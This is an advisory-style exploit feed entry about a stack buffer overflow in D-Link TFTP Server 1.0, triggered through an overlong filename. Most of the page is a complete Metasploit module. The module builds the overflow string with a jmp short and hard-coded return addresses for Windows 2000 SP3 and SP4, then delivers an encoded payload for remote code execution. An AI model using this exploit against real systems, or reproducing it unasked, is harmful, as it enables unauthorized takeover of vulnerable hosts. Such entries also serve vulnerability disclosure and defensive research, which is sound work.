|
Feeds -
Exploits
|
|
Written by Parvez Anwar
|
|
Thursday, 26 February 2009 22:35 |
D-Link TFTP Transporting Mode Remote Buffer Overflow Vulnerability
-\\Bugtraq ID:
22923
-\\Class:
Boundary Condition Error
-\\CVE:
-\\Remote:
Yes
-\\Local:
No
-\\Published:
Mar 12 2007 12:00AM
-\\Updated:
Feb 26 2009 06:07PM
-\\Credit:
Parvez Anwar is credited with the discovery of this vulnerability.
-\\Vulnerable:
D-Link TFTP Server 1.0
-\\Discussion
D-Link TFTP is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before storing it in a finite-sized buffer.
A remote attacker can exploit this issue to cause the application to crash, denying further service to legitimate users. Given the nature of this issue, the attacker may presumably be able to execute code.
D-Link TFTP 1.0 is vulnerable; other versions may also be affected.
-\\Exploit(s)/PoC(s):
A Metasploit exploit module is available:
===============================================================
22923.rb
^^^^^^^^^
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in D-Link TFTP 1.0.
By sending a request for an overly long file name, an attacker
could overflow a buffer and execute arbitrary code. For best results,
use bind payloads with nonx (No NX).
},
'Author' => [
'LSO <lso[@]hushmail.com>', # Exploit module
'patrick', # Refs, stability, targets etc
],
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '22923' ],
[ 'OSVDB', '33977' ],
[ 'CVE', '2007-1435' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-reverse',
},
},
'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],
'Platform' => 'win',
'Targets' =>
[
# Patrick tested OK 20090228
['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2007',
'DefaultTarget' => 0))
register_options([Opt::RPORT(69)], self)
end
def exploit
connect_udp
print_status("Trying target #{target.name}...")
juju = "\x00\x01"
juju << Rex::Text.rand_text_alpha_upper(581)
juju << Rex::Arch::X86.jmp_short(42)
juju << Rex::Text.rand_text_alpha_upper(38)
juju << [target.ret].pack('V') + payload.encoded
udp_sock.put(juju)
handler
disconnect_udp
end
end
-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s)
--Product Homepage
http://www.dlink.com.sg/products/?pid=30 (D-Link)
--Vendor Homepage
http://www.d-link.com (D-Link)
|
